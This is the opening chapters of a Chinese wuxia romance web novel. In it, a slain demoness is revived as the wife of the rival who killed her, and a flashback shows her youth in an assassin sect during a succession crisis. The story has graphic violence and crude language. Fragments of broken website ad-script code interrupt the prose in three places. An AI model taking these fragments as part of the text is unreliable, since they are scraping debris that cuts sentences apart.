《我死后死对头他疯了》 1. 重生噩梦 紫宸三百二十四年,英雄辈出的天下武林中,有一位名震江湖的女魔头,人称“鬼尸仙”。 其实她的名字很好听,是她心仪之人所取,季姓,单名一个音字。 而且她的年纪并不大,甚至可以说太年轻了,桃李年华,绿鬓朱颜。 在她刚当上鬼尸仙那会儿,总有不少人骂她,男人们骂她臭婊子,女人们骂她小贱货。 有些识字的读书人,为那穷酸面子说不出此等粗鄙不堪的话语,故而江湖上又添了几个诸如“红帐风流”“床上饕足”等文雅些许的称呼。 其实这话说得很对。传闻她整日流连寻芳阁,摸揉捏按,咬含挠抚等榻上功夫极佳,且男女通吃,来者不拒,再加上模样甚美,颀身玉立,哄得阁内不少姑娘梨花带雨,无数面首心驰神摇。 亦有传言道,她正是靠着这副做派,才得到了四大神器,称霸武林,无人能敌。 且不论是真是假,世人只知后来她手握四大神器,功力大增,便愈发肆无忌惮起来。炼蛊制毒,缝尸控尸,神挡杀神,佛挡杀佛。今日屠他家,明日屠你家,甚至自幼与她一起长大的同门师姐都不放过,被人发现时缺舌少眼,气脉尽断,石榴裙下一塌糊涂。 更过分的是,连曾经对她有救命之恩相府小公子也难逃魔爪。堂堂七尺男儿,每每见人时雪白的脖颈红痕遍布,细嫩的手腕青紫交错,全身上下竟被祸害得没有一处完好! 五大正派之一的末名派弟子见状,忍不住破口大骂:“简直畜生!” 季音听说此事后,隔日便亲自上门,与末名派一众弟子打了三天三夜,最后提着一麻袋脑袋回去了。 邪魔外道,天理难容,人人得而诛之! 就在武林百家合纵连横,准备给她致命一击时,震惊天下的“帝烛官灯”之案却突然爆发,打了所有人一个措手不及。 何为帝烛官灯? 取紫宸皇帝的尸油炼制为蜡,剥紫宸百官的脸皮缝制为灯。 听闻那夜的皇宫火光冲天,仿若人间炼狱,人体焚烧的焦臭味与腐酸的血腥味混在一起,经久不散,令人作呕。 此等行径已是人神共愤,若再由她掀风作浪,只怕天下人都会沦为她的玩物摆件! 许是老天开眼,就在这时,一个让世人跌破眼镜的消息以野火燎原之势传遍了整个紫宸。 鬼尸仙,居然有个孩子! 这种残暴无情,风流下贱的女人,也会有孩子? 那么问题来了,这孩子的父亲是何许人也? “还能是谁的?冥麟阁阁主司玄的呗!魔头加魔头,我看这孩子天生就是个孬种!” “可司玄不是早就被末名派灭了吗?若真是司玄的种,依鬼尸仙的性子,都不知要端末名派多少回了!” “听说她曾与云天派掌门白清旭走得很近,好像还当过他的亲传弟子,难道......” “他妈疯了吧你,啥也敢说!天底下谁不知道这俩人看不对眼?!亲传弟子?我呸!还不是靠着扮柔弱、装可怜上的位?!表面人畜无害的,实则脑子里不知憋了多少阴招损招呢!” “就是,白清旭是什么人,她也配给人家生孩子?!她就算想爬人家的床,也得看看人家会不会嫌她恶心,给她一脚踹下来!” “要我说,管他娘是谁的,鬼尸仙的孩子能是什么好东西?!杀不了鬼尸仙,还杀不了个孩子吗?!” “说得好!就算她再不是个东西,自己生养的孩子死了,也不可能无动于衷!” 终于,经历数月浴血奋战,破除上百毒术禁制后,在五大正派的率领下,各家弟子联合江湖修士一鼓作气,杀上了鬼尸仙栖身的钱来山。 钱来山不是什么名山,更没有银子,有的只是遍地阴森可怖的冷坟,是座坟山。 众人闯入山门时,季音正在用天下第一名剑赤霄剑杀野鸡。 下一瞬,鸡毛纷飞,刀剑碰撞声响彻天地。 利用孩子牵制鬼尸仙,此法果然奏效。鬼尸仙倍受打击,走火入魔,彻底失了神智。 她与数万修士从黑夜打到白天,又从白天打到黑夜,不知打了多久,直打到钱来山被尸体埋得高了几尺。 这样下去,定然逃不过气脉逆行,暴毙身亡的下场。 季音三两下接上被打断的胳膊,吐出嘴里的血,缓缓抬头,却见一道熟悉的身影正缓步朝自己走来。 她认得他,云天派掌门白清旭。 季音眸中闪过了一瞬的清明。 此人毒舌嘴贱,坑蒙拐骗,极爱找她麻烦,坏她好事。 江湖传言不假,季音确实看他不顺眼很多年了。 她早已遍体鳞伤,再无反击之力,只是踉踉跄跄地撑住身子,握住赤霄剑的手下意识松了。 “臭骗子......你就非要跟我过不去?!” 白清旭眉梢微挑,唇角噙出一个似有似无的笑容。 然后,他抬手,雪虐风饕的剑气直指她心脏。 ......原来死也没有那么疼。 季音看到大片血珠溅到了白清旭的脸上,又顺着他的面颊缓缓滑落至唇间。 她突然就非常想笑。 是啊,她现在可是坏事做尽,人人喊打的魔头啊,怎么能一个人孤零零地下地狱呢? 于是,几乎是下意识的——她笑着吻上了白清旭的唇。 被魔头染指的人间正道啊——陪她一起葬送在这里吧! 就在这时,下雨了,雨水打在地上,溅起了团团暗红的水雾。 ...... 历时数月的坟山大围剿,终于随着鬼尸仙命殒黄泉而落下了帷幕。 只是,每个人的心里都藏着同一个没敢说出来的念头。 鬼尸仙的尸体,不见了。 “最后一个离开的人是谁?” “好像是云天派掌门白清旭?” “说起来……你们有没有听说,鬼尸仙殒命前,好像……亲了白清旭?” “胡说八道什么,你看见了?” “我哪里胡说了?不信你去问,好多人都看见了!” “莫非他们二人当真有私......” “少他妈放屁!你忘了鬼尸仙是被谁杀的了?!” “就是,亲了白清旭......有辱斯文!简直有辱斯文!!!这个女人,当真风流下作,恬不知耻到了极点!!!” “无妨!天底下谁不知道这俩一直视对方为宿敌?临死了还不忘恶心别人,哼,她真当白清旭是吃素的不成?依我看,这会儿八成连骨灰都被白清旭给扬啦!” ......有道理。 一年,两年,三年......渐渐地,关于此战的风声慢慢褪去,众人心中悬着的那块大石头也落了地。 看来鬼尸仙,确实真的死透了。 果然,就算是对鬼尸仙来说,死而复生,也不过是天方夜谭。 即使你活着的时候再如何纵横天下,睥睨四方,死后也不过是被众人踩在脚下的一抔黄土。 仅此而已。 可谁能想到,第四年,一条惊掉众人下巴的消息如野火般席卷了整个紫宸。 白清旭和早已死得连骨灰都找不见了鬼尸仙,成亲了。 ...... 季音是被一条沾了温水的手帕弄醒的。 眼睛还没睁开,她反手就擒住了那只悬在半空的手腕——纤细瘦弱,像是个十四五岁的小姑娘。 小姑娘明显被季音这一抓吓着了,手腕猛地震颤,旋即僵在了半空中。 季音睫毛微动,缓缓收了手。 她没有想吓唬小孩的意思——只是这么多年以来,想杀她的人实在太多了,下意识的反击已经成为了她的习惯。 但出乎她的意料,小姑娘不仅没有被吓跑,反而不知死活地拉住了她的手。 季音有些想笑——如果她知道这双手沾过多少人的血,肯定不敢就这样堂而皇之地凑上来。 “醒了醒了,夫人醒了!”小姑娘显然大喜过望,连跑带跳的就冲了出去。 季音不知多少年没听到活人说话了,何况还是这般激动的惊呼,脑袋登时嗡嗡作响! ......等等,不对啊,她不是已经死了吗?怎么还能听见活人说话? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 而且......她叫自己什么? 夫人?! 季音猛地睁眼,浑身气血翻涌,就要起身问个清楚——可奇怪的是,她的肩膀、手臂、连同整个腰腹,都酸软得不成样子,一动就酥酥麻麻地疼。 更奇怪的是,这疼痛不像是打架受伤所致,倒像是—— 季音低头,整张脸瞬间失去了血色! 果不其然!不光脖子和胸口,肩膀、腹部、后背......除了吻痕、揉痕,甚至还有令人难堪的咬痕——密密麻麻,旖旎不堪! 或许唯一一点安慰,就是身下还算正常。 世人都说,鬼尸仙季音整日流连花楼,男女通吃,来者不拒,但只有季音自己知道,这些全都是造谣诽谤的胡说八道,她真的是个连嘴都没亲过的纯情女人——除了与白清旭那个几近丧心病狂的吻。 至于传言说她有个孩子......季音眸子一暗,整颗心脏止不住地蜷缩起来。 眼前登时浮现起那反反复复的午夜梦回——她浑身是血,肠子都涌出了半截,却仍死死抱着一个刚出世的孩子,强忍疼痛,于尸山血海中拼命逃窜。 这是鬼尸仙此生唯一的恐惧。 不对不对,这都不是重点,重点是眼下——到底是谁他妈把她给睡了?! 而且...... 她一直以为自己缝尸控尸就够重口了,想不到啊......睡尸体......现在的人都玩这么花的吗?! 季音强忍酸痛,撑起身子,踉踉跄跄地就要去宰了那个敢睡自己的大胆狂徒! “听说......夫人醒了?” ......季音下床的动作猛地一顿! 相比发现自己被人睡了,这道声音带给她的惊吓效果显然更甚! 季音愕然抬头,眸中清清楚楚地映出了那双她熟悉到不能再熟的眼睛。 白清旭的眼睛。 ......他怎么会在这里?! 更诡异的是,他好像叫她......夫人?! 季音只感觉一口老血梗在了喉中。 天啊......这里是地狱吗? 季音疯狂地摇着脑袋,祈求自己能赶紧从这光怪陆离的噩梦中脱身! 可是再睁眼时,她却被对方轻轻抱在了怀中。 白清旭疯了——这是季音脑海中闪过的第一个念头。 在她的记忆中,白清旭此人——毒舌嘴贱,插科打诨,没有一日不在找她麻烦,坏她好事。 这几年到底发生了什么?!她好好的死对头怎么变成这样了?! 还是说......这是什么新型偷袭方式?! 就在季音惊惧之际,对方脖颈上缠绵萦绕的红痕刺入了她的眼帘。 ...... ...... 季音反手就是一掌打出! 有问题!绝对有问题!这人绝对不可能是白清旭!!! 白清旭怎么可能会跟她睡觉?!不拿她的骨灰去卖钱就算是仁至义尽了好吗?! 这一掌她虽然下了死手,但季音心里清楚,如今她骤然复生,修为所剩无多,就算用了十成十的功力,恐怕对于白清旭来说,也不过是隔靴搔痒,无甚威慑。 可出乎季音的意料,白清旭竟被她这一掌震得轻咳起来,透过衣衫,甚至隐隐能瞧见大片血迹晕染其上。 ......先不说她这一掌到底有没有攻击力,这伤口和鲜血怎么看也不像是内伤吧?! 奇怪了,昔年她最为得势之时,放眼整个天下,也就只有白清旭有资格与她一战。按道理来讲,在她被围剿身殒后,白清旭就应该无敌于天下才对。 究竟是谁能把他伤成这样? 可白清旭却似乎并未意识到伤口已然裂开,他望着季音,那双永远含笑的眸子此刻微微颤抖,似乎有什么东西呼之欲出。 然后,他低头,吻上了她的唇。 ......这是什么东西?白清旭什么时候变得这么记仇了?不就是亲了他一口吗?这他妈也要报复回来?! 季音觉得这个世界一定是癫了。 2. 他在说谎 所以当晚,在她洗劫了白清旭殿内所有值钱的东西后,转头便逃之夭夭——逃得比疯狗还快。 虽然不知道自己为何会死而复生,但眼下最重要的,是她的功力尚未完全恢复——也就是说,在没弄清楚白清旭是不是故意装作病弱好伺机耍什么花招前,她没办法捏碎白清旭。 再这么跟一个疯得不轻的白清旭待下去,她估计不是被气死就是被吓死。 更何况......季音看着胸口的红痕,心头大悸,差点儿一口气没提上来! 逃,非逃不可! 而且她得抓紧时间弄清楚,在她死的这几年中究竟发生了什么——居然把白清旭逼疯到这般田地?! 白清旭的居所位于云天山巅,江湖传言不假,当年季音还不是鬼尸仙时,确实曾当过白清旭的亲传弟子,只是目的并非拜师学艺,而是盗取神器,并且像什么狐媚上位等谣言更是空穴来风——除非她像现在的白清旭一样吃错了药。 虽说她拜师的时间不长,但当时为了偷东西,这掌门居所可没少来,加之云天山巅弯绕小路本就不多,故而她就算闭着眼也能摸出下山的路。 就在这时,一阵急匆匆的脚步声扰乱了季音的思绪。 季音回神,愣了片刻,掉头就往灌木丛里钻。 因为来的这人,她认识。 云天派两位长老之一的天玑长老,魏奚泽。 其实真要说起来,他们两人也不过是点头之交,只是当年,在所有的正派修士都叫她“贱女人”“臭婊子”时,也只有魏奚泽会称她一声“季音姑娘”。 在季音的记忆中,魏奚泽是那种无论遇到多么棘手的事都会泰然自然、淡然处之的人,她还从来没见过他像今日这般手忙脚乱,仓皇失措。 看来......一定是出了什么极为要紧的事情。 如今她死而复生,对于这些年发生了何事一无所知,既然如此,多打听点消息总是没什么坏处的。 念及于此,她偷偷跟上了魏奚泽的脚步。 “掌门。”掌门居内,魏奚泽单膝跪地,拱手行礼。 桌案前的白清旭却并未动作,手中仍在写着什么:“啊,奚泽,你来了。” 猫在窗外的季音忍不住“切”了一声:这么多年过去,还是这副死样! 魏奚泽抬头,好几次话到唇边便欲言而止,像是在犹豫该不该说,该怎么说。 “......掌门......出事了。” 白清旭手上的动作一顿,缓缓抬头。 魏奚泽跪在地上,整个身子都埋了下去:“属下看守不力,让司玄......逃了。” 司玄......逃了? 季音僵在原地,没有动作,只感觉心里的惊涛骇浪已经掀过了头顶,随时都要嘶吼着将她吞没。 ......完了,看来她也疯了。 否则怎么会幻听到如此地步?! 司玄逃了? 可笑至极! 天下谁人不知,冥麟阁阁主司玄,早在十一年前便被末名派联手朝廷以除魔卫道的名义碎尸万段、挫骨扬灰,如今只怕坟头草都长了有几尺高了,怎么可能......逃了?! 要知道,当年季音之所以修习那缝尸御尸术成为鬼尸仙,最大的目的便是报仇——替冥麟阁报仇,替司玄报仇,替这个幼时收留她,教导她,她喜欢的人报仇。 可如今却告诉她,司玄没死,不但没死,还被白清旭关押在了云天派? 简直莫名其妙! 季音受不了这种被蒙在鼓里的感觉,就要冲进去问个明白。 可就在这时,一样更令她震惊的东西刺入了她的眼帘。 此刻已近子时,白清旭脱了外袍,只着里衣,那微微敞开的领口下,除了鲜血淋漓的刀伤,还有一道深红色的烙印。 阎罗子蛊附身后留下的烙印。 季音瞬间惊得浑身寒毛倒立,猛地往后退了两步! 当年季音之所以能够操控世间凶尸为她所用,靠的就是由她亲手炼制的阎罗子母蛊。 可若她记得不错——她当然不会记错,这阎罗子蛊只能作用于死人身上,对活人来说毫无意义,自然也不会留下任何烙印。 ......这到底是怎么一回事?! 阎罗蛊,司玄的死,最可怕的是白清旭对她突然转变的态度! 在季音心中,鬼尸仙和云天派掌门的关系,一直都比传闻中还要水火不容,相看两厌。 从八年前,她第一次见到白清旭时起,便是如此。 紫宸三百一十九年,距国君文昭帝驾崩已三日有余,东豫王城却仍旧是连绵不断的阴雨,丝毫没有停止的征兆。 文昭帝白曦知人善任,从谏如流,开寒门为官先河,行辟徭薄赋之举,绝对算得上一位明君。 可他正值壮年,却毫无征兆,暴毙离世,不免引得紫宸百姓猜忌纷纷。 季音记得司玄讲过,淅淅沥沥的雨,鸦雀无声的夜,易生事端,多发变故。 她正坐于纪峰塔顶,一袭亮蓝劲装于水雾中映得不是那么真切。高高绑起的马尾虽已被雨水打湿,却并未显分毫狼狈。 冥麟阁毒宗长老座下十三弟子季音,年方十七,初入江湖。 若问她课业,借其师父的话来讲,骨根极佳,一点即透,浅尝辄止,性急浮躁。 若问她秉性,用其师姐之言,率真良善,为人仗义,心实嘴快,惹事闯祸。 “此番你亲自前来,是受何人所托?我听师姐讲,这皇帝儿子是不少,可成器的却没有几个。”季音拨弄着手中的流云飞针,将目光对准了司玄。 站立一旁的男子生的极为高大,肩宽腰细。一袭血红外袍随风扬起,气场甚强,不怒自威。 “哦?看来小季音下山的第一个任务,能完成的不错,本座拭目以待。” 季音撇了撇嘴:“你也知道我只是个初出茅庐的喽啰啊,这种看起来会死人的任务居然带我来,你这个阁主当的未免也忒不称职了些。” “你不是整日念叨想当精英弟子么?任务做的好了,本座自然会许你。更何况......”司玄顿了一顿:“小季音,冥麟阁从不养废物。就算仗着本座心悦你,也不能例外。” 冥麟阁,天下第一杀手组织。因其位于天凝地闭的霜余山上,鲜少有人可寻其踪迹,加之以门派内弟子奉行“以杀止杀,以血还血”的行事准则,故而又得名“魔教之首”。 而阁主司玄,江湖人称“红衣画莲,血雨染尸”。至于名号的由来倒也简单,“红衣画莲”并非是他爱画莲花,而是有一次他杀人时不知怎的心血来潮,将尸体削成了朵莲花的形状,故得名“红衣画莲”。“血雨染尸”则是因为他杀人太多且手段过于残暴,每每溅起的鲜血竟似淅沥雨水般落下,因而称“血雨染尸”。 不过季音却给出了不同的八字箴言:错误用脸,帅不自知。 江湖上关于司玄的画像流传甚广,大部分都跟青面獠牙的铁血阎罗没什么差别,偶尔有那么一两个画的像个人样,也是胡子拉碴的粗矮硬汉。 不过对于此等现象,季音倒是非常满意:画吧画吧,画得越丑越好,帅脸我一个人看就足够了。 司玄的五官身型确然生得极为完美,是那种挑不出一点儿差错的完美,眉目漆黑,野气十足,极具侵略性,却又可见沉稳异常。 可惜他似乎并未意识到这张脸的威力所在,反而是在武功修炼上精益求精,造诣颇深。 紫宸王朝崇尚武风,故而每五年由朝廷举办的封神比武,便成了江湖之人辨高判下的契机。为此,朝廷还专门设立了巅峰榜与英雄榜两个榜单。封神比武提供名额三百,其中前十名可上巅峰榜,巅峰榜首位便是紫宸时任武林盟主,剩余两百九十人可上英雄榜,只待五年再一次比武后换榜。 四年前,年仅十八岁的司玄手执赤霄剑,灭了一众武林前辈的威风,一举夺下武林盟主之位,傲立于紫宸之巅。 而这样一个人说出“心悦你”这种话,确实很难不令人为之所动。 季音第一次见到司玄的时候,只有五岁。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她依稀记得那天是小年夜,街道上家家户户扫尘祭灶,人来人往,好不热闹。 只有她孤零零地瑟缩在墙角,头发上沾满了雪,手里还握着旁人放过的爆竹碎屑。 她看见老鼠在啃她的脚指甲,可那被冻僵的双脚早已没有了知觉。她的衣服破烂得不成样子,散发着一股馊臭味儿,遍布的划痕似是在彰显她逃跑的痕迹。 但她不记得自己姓甚名谁,从何处来,要到哪儿去。 就在这时,一块青枣酥被递到了她的面前。 季音早已经饿得前胸贴后背了,不管不顾便抢过一顿乱啃。 啃了两口,她发现这块青枣酥上沾染了血迹,赶紧抬起头来。 只见一位红衣少年正蹲在自己面前,鲜血不停地从他腰间悬挂的佩剑上滴下。 少年生得很好看,墨发用红绸高高束起,剑眉星目,唇若涂朱。可是她却觉得面前之人的俊秀中透着攻击之意,令人没来由想要远离躲闪。 “不够吃,本少主这里还有。”他脸上没有什么表情,明明是句暖心的话,却被他说得冷冰冰的。 季音假装没有瞧见那把滴血的佩剑,将他递来的青枣酥啃了个一干二净。 少年看着她狼吞虎咽的模样,神情竟有一瞬间的起伏。 季音本想道谢,却实在害怕眼前这位少年,只得将脑袋压的低了些:“谢......谢谢你。” “你叫什么名字?” “我......我不记得了,我没有名字,也没有家......你......你能不能收留我......” 这些话她是咬牙强撑着说出来的,一个或许可以活下来的机会摆在她眼前,她不愿意浪费。 “收留你?”少年望着她颤抖的嘴角,声线仍旧没有任何起伏:“你可知本少主是什么人?” “你......你是一个好人。” 少年显然没有想到这个答案,眸光微闪:“好人?” 半响后,他转身离开:“若不想冻死,就随本少主回冥麟阁。” 季音赶紧撑起身子,踉踉跄跄地跟在了司玄身后。 大雪飘下,掩埋了墙角下一只血红蛊虫的尸体。 若无司玄,她没机会进入冥麟阁,更不会拜入毒宗长老座下,或许早在十二年前便被老鼠啃干净了。 幼时相遇,救命之恩,除了感激,少年人的情愫亦黯然滋长。 季音望着他被雨打湿的衣裳,红着脸清了清嗓子:“能不能说正事了,今夜弄不好可是会血染东豫城的,到底是哪一位皇子请你动手?” “冥麟阁是什么地方,既在皇位争夺中请出冥麟阁之人,那么不管何人,他此生注定与皇位无缘。”司玄掏出怀中的信封,嘴角轻轻扬起:“十万两黄金,也配请本座出山?” “多少?!十万两?!黄金?!你不要我要啊!他想杀谁?我这就提刀给他砍了去!” 司玄理了理衣袍:“小季音是打算替尊宣王抢下这块烫手山芋?” “烫手?”季音咋了咋嘴:“烫死我还差不多。你说这皇帝老儿也真是的,不立太子,不留遗诏,放个什么密函出来,傻子都知道谁抢到密函谁就能当皇帝吧,这不是明摆着想看他那几个儿子狗咬狗吗?要我说,之前他们玩党争阴谋都是白玩,最后还是免不了被老皇帝摆一道。” 漫天乌云翻滚的似乎更矮了些,雨势丝毫没有减弱的迹象。 尊宣王府内,白羽沅坐于窗前,神色默然:“父皇,在您心中,这皇位可以是二哥的,可以是八弟的,甚至可以是那个残废的,但绝不可能是我的。既然如此,您只能死得更早一些,更静一些。可是您真不替儿子省心啊,为什么非要放出那么一张密函呢?” 下一瞬,门窗乍开,风雨倾数涌入。 “不过父皇,您放心,今夜的雨,将会是东豫王城的最后一场雨。” “殿下,司玄来了。” 白羽沅负手而立:“哈哈哈哈哈,好!就让本王见识一下,这位天下第一,是如何血洗东豫的!” 3. 遇见怪人 电闪雷鸣席卷着紫宸皇宫,几道黑色的影子迅速于屋檐上略过。 贺影拭去面颊的雨水,单膝跪于地面上:“殿下,咱们在末名派的人手已倾巢出动,请您放心。” 高台上之人却并未对此提起什么兴趣,手中的毛笔仍挥动不停:“老三请了冥麟阁的鬼,人如何能与鬼抗衡?” “居然将魔教势力牵扯进来,看来尊宣王此番是非要夺下这皇位不可了。殿下,依您之见,下一步该当如何?” 笔尖一顿,白夜澜轻声开口:“放心,皇位他吃不下。司玄此人,平生最厌恶的便是沦为他人棋子。” “想不到贤安王殿下这么了解司玄。”季音倚靠在窗棂之上:“不过您雨天不关窗,可不是什么好习惯啊。” 贺影反应迅速,提起长剑便朝着季音的眉心刺去,却被白夜澜喝住:“贺影,住手。” 季音从窗上跳下,理了理被雨吹乱的发丝:“二殿下好啊。为了找您的贤安王府,我可是费了一番功夫的。您这府邸委实不如那位尊宣王的好找,他那又是金镶玉又是夜明珠的王府,想看不到都难。不过,还是您的贤安王府看起来更有品。” 白夜澜笑出了声:“所以姑娘雨夜独闯贤安王府,是来夸赞本王的府邸修缮得当?” “您是聪明人,我便有话直说了。司玄这个名字,您应当不陌生吧?” “武林盟主,天下第一,名声震震,无人不晓。” 季音点了点脑袋:“先帝驾崩,未立太子,未留遗诏,却将一封密函交于吏部尚书王钧之手。世人皆传密函中内容即为皇位继承人,但明眼人皆知密函握于谁手,谁便可言己为大统。因此,两位旗鼓相当的皇子各自拉拢朝廷江湖势力,为一道密函展开角逐争夺。二殿下,我说的可对?” “不愧是冥麟阁。”白夜澜合上书卷:“所以姑娘今夜前来,要告知本王何事?” “两日前王钧被发现暴毙于府中,密函不翼而飞,听闻现已落到了末名派手中。末名派嘛,我也是知道的,五大正派之首,更是朝廷钦命的国派。想必各位殿下或多或少,都有自己的势力渗透其中。” 季音顿了一顿,补充道:“但就算是末名派,也奈何不了司玄分毫。他既决定出手,那么这道密函最终落于冥麟阁手中,已成定局。” 白夜澜将视线对准贺影,颔首示意。贺影得令,转身离开了屋内。 “姑娘特来告知本王这一消息,说明冥麟阁并未站于尊宣王的阵营?” 季音摆了摆手:“非也。您既已知晓尊宣王拉拢了司玄,那便也该明白,您在末名派有再多的势力,如今都没有用处。方才我虽搬出了司玄的名号,但我此行却不代表冥麟阁而来。” 白夜澜负手而立:“姑娘此话何意?” 季音咧了咧嘴角:“冥麟阁以司玄为尊,但司玄听我的。这一局我想选殿下您,希望您不要让我失望。” 似是没有想到这个答案,白夜澜被逗笑了:“想不到鼎鼎大名的冥麟阁阁主,居然会听一个小丫头的意见。不知姑娘可否告知本王原因?” 季音眨了眨眼:“您要是问我为何选您,是因为我方才去尊宣王府逛了一圈,发现您比他有品,长得也比他帅。至于司玄为何会听我的话嘛......因为他喜欢我啊。” 此时贤安王府正殿上方,一紫袍男子坐在屋顶上听得正欢:“嗯,脸皮还挺厚。” 季音望向窗外,很是满意地点了点头:“外面的雨似乎停了,消息既已送达,我便先走一步。” “还不知姑娘姓名?” “呃......”季音脑袋转的飞快:“我姓钱,单名一个来字,您可以唤我钱来。” 白夜澜若有所思地点了点头:“那么钱姑娘,后会有期了。” 季音抱拳行礼,随后一个翻身便跃至屋顶。 白夜澜听着屋顶上方传来的动静,重新坐回了书桌前。 贺影开口:“殿下,方才那位姑娘之言是否可信?” “你认为呢?” “属下瞧着这位姑娘不过十六七的年纪,行事做派虽是莽撞了些,字里行间却直戳要害。” 白夜澜抿了口茶:“小丫头同本王讲话时,十分流畅,几乎不加思考,本王信此话为真。但也恰恰如此,表明显然是旁人告知于她该如何开口。” 他顿了一顿,继续道:“本王方才查探过她的内力,放眼同辈人中算是极有天赋,可惜是个跳脱性格,心性不定,难成大器。想来这是她第一次离开冥麟阁,欲入江湖,还需磨砺。” 贺影拱手:“不愧是殿下。” 白夜澜轻笑:“若是连个十六七岁的小丫头都看不透,这皇位,便也没有争的必要了。” 与此同时,贤安王府的屋顶上。 季音抹了两把汗,瘫坐下来:“幸好都背下来了!明明一句话就能说明白的事情,非得搞的这么复杂!” “一句话说明白,钱不就来不成了?” 语毕,紫袍男子从怀中掏出一个火折子,将面前架起的炉子中的木炭点燃,随后拎出一把破破烂烂的芭蕉扇,旁若无人地扇起风来。 季音被吓了一跳:“什么人在这里偷听?!” “钱来姑娘,你这话可就冤枉我了。这屋顶你来得,旁人就来不得?天下哪有这样的道理。” 说罢,他又从身后拿出几支串好的肉串,悠哉悠哉地烤了起来:“哎呀,这雨停的不早不晚,正是时候。” 季音上下打量了他一番——此人言谈间虽一派随意慵懒,手上烤串的动作却是干净利索。 只是细瞧他面颊,姿容上乘,眉目温润,明艳俊朗,完全无法将其与街头烤串的伙计联系在一起。 季音屏气凝神,并未察觉任何内力波动——这也就意味着,面前之人不会武功。 不过诡异之处在于,这人第一眼瞧上去像是大户人家的纨绔公子,给人以风流倜傥,脱线大条的感觉。但第二眼竟又像是混迹江湖多年的老油条,颖悟绝伦,心细沉稳。说是文人,多了几分压迫感,说是武人,却又多了几分精明之道。 念及于此,她决定周旋试探一番:“......贤安王府的屋顶还让烤串?” 紫袍男子左手伸出一根手指,右手仍在不停地翻动着烤串。 “什么意思?只有今天晚上让烤?” “不是,你给我一两银子,我就告诉你。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >季音马上抽出三根飞针:“你耍我玩?” 紫袍男子撒了一撮盐巴:“啧,我这可是正经营生,明码标价,童叟无欺。” “行,我倒要看看你能在这里浓烟滚滚多久,贤安王府的侍卫可不是吃干饭的。” “啊,多谢提醒。幸好我刚才烤的多,已经将他们都买通了。” “......你大半夜在贤安王府烤串,不掉脑袋就算了,还能在这里说闲话?你到底是谁,何方势力,速速报来!” “我就是一个胸怀大志,心系天下的酒楼老板。” “你当我傻吗?” 对方思考片刻,煞有介事地清了清嗓子:“在下姓钱,单名一个来字,好像是冥麟阁毒宗的弟子......不对,应该是司玄喜欢的弟子。” 此言一出,季音脸颊迅速晕起一抹绯红。 这家伙......难不成是专门来找茬儿的? 季音瞪了他一眼:“看来今晚不解决掉你是不行了,受死吧!” 对方咋了咋嘴:“看来冥麟阁是江河日下喽,居然派你这么个笨女人来完成任务。” 季音气得喉口生疼,流云飞针都来不及扔,攥起拳头便揍了过去。 “想不到如今冥麟阁毒宗的弟子不学毒术学拳法,开眼了开眼了。”他侧身闪过季音的拳头,顺手举起几根肉串:“这样吧,我请你吃串,咱们大事化小,小事化了,如何?” 季音眉头紧皱,一脸狐疑地盯着对方。 “啧,你这是什么表情,丑死了。”他叹道:“看来今晚得好好去寻芳阁洗洗眼。” “寻芳阁?一听就不是什么正经地方!你这家伙,嘲讽我就算了,居然还敢骂我丑?吃串是吧,今天我非得把你串成肉串不可!” 好巧不巧,就在她即将动手的瞬间,一阵十分响亮的“咕噜”声从她肚子里传出。 季音欲哭无泪:......为什么偏挑这个时候! 见此情形,紫袍男子唇角轻提:“方才我路过尊宣王府,瞧见司玄正与一众末名派弟子打得激烈。啧啧,居然能请司玄出山,白羽沅这是许了多少好处,十万两黄金?” ......这也能猜出来?! 季音撇了撇嘴:“朝堂江湖事都懂得不少嘛。还说自己是什么酒楼老板,骗子。” “非也,非也。我可是在东豫王城开酒楼的大老板,若是跟你一样什么都不懂,早就赔的裤裈都不剩了。唉,真是长得丑,见识少。” “......呵呵,狗嘴里吐不出象牙,我懒得跟你计较。”说罢,她反手夺过三根肉串,一屁股坐在对方身边:“往旁边靠靠,没位置了。” 对方有些好笑地看着她:“得,就你这吃相,我也不想跟你挨得太近。” 季音满嘴塞得鼓鼓囊囊:“你懂什么!我师父师姐都夸我吃嘛嘛香,身体倍儿棒呢!” 他眉梢轻挑:“原来如此,受教,受教。” 季音吞下最后一口,心满意足地点了点头:“有一说一,你这手艺还是蛮不错的。不知你开的酒楼叫什么名字,有时间我也去捧个场。” “钱来姑娘,你说巧不巧,我这酒楼,它就叫钱来楼。” 4. 结了梁子 季音眨了眨眸子:“你这名字起的......很有品啊。” 紫袍男子笑道:“当然。为了给酒楼起名,我访遍名士府邸,走遍紫宸各城,却始终得不到满意的答案。既要寓意深远,又要朗朗上口,我左思右想,终于敲定了钱来二字。想来钱来姑娘是最能领悟的,感觉如何?” 这种时候在贤安王府屋顶讨论酒楼的名字,还叫什么“钱来楼”,此人怕不是脑子有什么问题? 不行,此地不宜久留,她还是先走一步为妙。 念及于此,季音起身挤了个笑容:“呃......确实不错。那个......我还有事,告辞。” 只是还没来得及施展轻功,那把破破烂烂的芭蕉扇便伸到了她的面前:“姑娘这是要吃霸王餐?” “......什么霸王餐?不是你请我吃的吗?” “我只请你吃了一串。至于剩下的......”他将目光对准了一摞竹签:“看在我与钱来姑娘这般有缘的份上,就给你算便宜一些,二两银子一串。” “......多少?二两?!你怎么不去抢啊!”季音气得额角青筋直跳,正要动手,一阵绞痛却突然从肚子里传来。 他摇了摇脑袋:“我行走江湖很有原则,偷摸抢骗之事当然不能做。至于为何二两一串嘛......你猜我为什么取名叫钱来楼?” 她痛得龇牙咧嘴:“靠,你小子玩阴的!你往肉串里加了什么?” 紫袍男子摇了摇芭蕉扇:“不要随便吃陌生人递来的东西,司玄连这个都没教你?幸好你遇上的是我这个心怀天下的善人老板,不是什么肠穿肚烂的毒药,只是一点巴豆粉而已。” 季音疼得直不起腰来:“你这家伙!我与你无冤无仇,为何要暗害我?!” 听得此话,他似是想到了什么,语调极为欠揍地上扬:“因为......你长得有些像我那有一纸婚约傍身的未婚妻。” “什么?!未婚妻?!” 紫袍男子点头:“实不相瞒,我家人自作主张,替我与那位姑娘定下了一门亲事。可惜那姑娘实在太过刁蛮霸道,模样也是一言难尽。我费劲千辛万苦,好不容易才逃了出来,结果却被我那未婚妻发现了,现如今正在到处搜捕我。” 